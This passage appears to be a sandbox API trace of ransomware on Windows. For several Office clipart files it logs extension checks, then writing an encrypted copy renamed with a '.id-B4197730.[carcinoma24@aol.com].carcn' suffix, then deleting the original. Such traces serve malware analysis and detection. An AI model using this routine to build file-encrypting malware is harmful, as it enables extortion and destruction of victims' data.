(lpString1=".docx", lpString2="_.WMF") returned -1 [0303.075] lstrlenW (lpString=".pdf") returned 4 [0303.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.075] lstrlenW (lpString=".xls") returned 4 [0303.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.075] lstrlenW (lpString=".xlsx") returned 5 [0303.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.075] lstrlenW (lpString=".ppt") returned 4 [0303.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.075] lstrlenW (lpString=".zip") returned 4 [0303.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.076] lstrlenW (lpString=".rar") returned 4 [0303.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.076] lstrlenW (lpString=".bz2") returned 4 [0303.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.076] lstrlenW (lpString=".7z") returned 3 [0303.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.076] lstrlenW (lpString=".dbf") returned 4 [0303.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.076] lstrlenW (lpString=".1cd") returned 4 [0303.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.076] lstrlenW (lpString=".jpg") returned 4 [0303.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.076] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.076] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.077] GetLastError () returned 0x0 [0303.077] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1526, lpOverlapped=0x0) returned 1 [0303.078] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1530, lpOverlapped=0x0) returned 1 [0303.079] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.079] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.079] SetEndOfFile (hFile=0x34c) returned 1 [0303.079] CloseHandle (hObject=0x34c) returned 1 [0303.080] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.080] SetEndOfFile (hFile=0x36c) returned 1 [0303.080] CloseHandle (hObject=0x36c) returned 1 [0303.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0303.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.081] lstrlenW (lpString=".doc") returned 4 [0303.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.081] lstrlenW (lpString=".docx") returned 5 [0303.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.081] lstrlenW (lpString=".pdf") returned 4 [0303.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.081] lstrlenW (lpString=".xls") returned 4 [0303.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.081] lstrlenW (lpString=".xlsx") returned 5 [0303.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.082] lstrlenW (lpString=".ppt") returned 4 [0303.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.082] lstrlenW (lpString=".zip") returned 4 [0303.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.082] lstrlenW (lpString=".rar") returned 4 [0303.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.082] lstrlenW (lpString=".bz2") returned 4 [0303.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.082] lstrlenW (lpString=".7z") returned 3 [0303.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.082] lstrlenW (lpString=".dbf") returned 4 [0303.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.082] lstrlenW (lpString=".1cd") returned 4 [0303.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0303.082] lstrlenW (lpString=".jpg") returned 4 [0303.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.083] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.083] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.084] GetLastError () returned 0x0 [0303.084] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xa38, lpOverlapped=0x0) returned 1 [0303.084] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xa40, lpOverlapped=0x0) returned 1 [0303.085] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.086] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.086] SetEndOfFile (hFile=0x34c) returned 1 [0303.086] CloseHandle (hObject=0x34c) returned 1 [0303.086] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.086] SetEndOfFile (hFile=0x36c) returned 1 [0303.087] CloseHandle (hObject=0x36c) returned 1 [0303.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.088] lstrlenW (lpString=".doc") returned 4 [0303.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString=".docx") returned 5 [0303.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.088] lstrlenW (lpString=".pdf") returned 4 [0303.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString=".xls") returned 4 [0303.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.088] lstrlenW (lpString=".xlsx") returned 5 [0303.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.088] lstrlenW (lpString=".ppt") returned 4 [0303.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.088] lstrlenW (lpString=".zip") returned 4 [0303.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.088] lstrlenW (lpString=".rar") returned 4 [0303.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString=".bz2") returned 4 [0303.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString=".7z") returned 3 [0303.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.088] lstrlenW (lpString=".dbf") returned 4 [0303.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.088] lstrlenW (lpString=".1cd") returned 4 [0303.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0303.089] lstrlenW (lpString=".jpg") returned 4 [0303.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.089] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.089] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0303.089] GetLastError () returned 0x0 [0303.090] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x6852, lpOverlapped=0x0) returned 1 [0303.091] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6860, lpOverlapped=0x0) returned 1 [0303.092] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.092] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.092] SetEndOfFile (hFile=0x34c) returned 1 [0303.092] CloseHandle (hObject=0x34c) returned 1 [0303.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.093] SetEndOfFile (hFile=0x36c) returned 1 [0303.094] CloseHandle (hObject=0x36c) returned 1 [0303.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0303.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.454] lstrlenW (lpString=".doc") returned 4 [0303.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.454] lstrlenW (lpString=".docx") returned 5 [0303.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.454] lstrlenW (lpString=".pdf") returned 4 [0303.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString=".xls") returned 4 [0303.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.455] lstrlenW (lpString=".xlsx") returned 5 [0303.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.455] lstrlenW (lpString=".ppt") returned 4 [0303.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.455] lstrlenW (lpString=".zip") returned 4 [0303.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.455] lstrlenW (lpString=".rar") returned 4 [0303.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString=".bz2") returned 4 [0303.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString=".7z") returned 3 [0303.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.455] lstrlenW (lpString=".dbf") returned 4 [0303.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.455] lstrlenW (lpString=".1cd") returned 4 [0303.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.455] lstrlenW (lpString=".jpg") returned 4 [0303.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.456] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.456] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0303.456] GetLastError () returned 0x0 [0303.456] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8, lpOverlapped=0x0) returned 1 [0303.457] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2c0, lpOverlapped=0x0) returned 1 [0303.458] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.458] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.458] SetEndOfFile (hFile=0x380) returned 1 [0303.459] CloseHandle (hObject=0x380) returned 1 [0303.459] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.459] SetEndOfFile (hFile=0x36c) returned 1 [0303.460] CloseHandle (hObject=0x36c) returned 1 [0303.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0303.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.460] lstrlenW (lpString=".doc") returned 4 [0303.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.460] lstrlenW (lpString=".docx") returned 5 [0303.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.460] lstrlenW (lpString=".pdf") returned 4 [0303.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString=".xls") returned 4 [0303.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.461] lstrlenW (lpString=".xlsx") returned 5 [0303.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.461] lstrlenW (lpString=".ppt") returned 4 [0303.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.461] lstrlenW (lpString=".zip") returned 4 [0303.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.461] lstrlenW (lpString=".rar") returned 4 [0303.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString=".bz2") returned 4 [0303.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString=".7z") returned 3 [0303.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.461] lstrlenW (lpString=".dbf") returned 4 [0303.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.461] lstrlenW (lpString=".1cd") returned 4 [0303.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0303.461] lstrlenW (lpString=".jpg") returned 4 [0303.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.462] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.462] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0303.462] GetLastError () returned 0x0 [0303.462] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x788, lpOverlapped=0x0) returned 1 [0303.463] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x790, lpOverlapped=0x0) returned 1 [0303.464] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.464] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.464] SetEndOfFile (hFile=0x380) returned 1 [0303.464] CloseHandle (hObject=0x380) returned 1 [0303.465] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.465] SetEndOfFile (hFile=0x36c) returned 1 [0303.466] CloseHandle (hObject=0x36c) returned 1 [0303.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0303.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.466] lstrlenW (lpString=".doc") returned 4 [0303.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.466] lstrlenW (lpString=".docx") returned 5 [0303.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.467] lstrlenW (lpString=".pdf") returned 4 [0303.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString=".xls") returned 4 [0303.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.467] lstrlenW (lpString=".xlsx") returned 5 [0303.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.467] lstrlenW (lpString=".ppt") returned 4 [0303.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.467] lstrlenW (lpString=".zip") returned 4 [0303.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.467] lstrlenW (lpString=".rar") returned 4 [0303.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString=".bz2") returned 4 [0303.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString=".7z") returned 3 [0303.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.467] lstrlenW (lpString=".dbf") returned 4 [0303.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.467] lstrlenW (lpString=".1cd") returned 4 [0303.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0303.467] lstrlenW (lpString=".jpg") returned 4 [0303.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.468] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 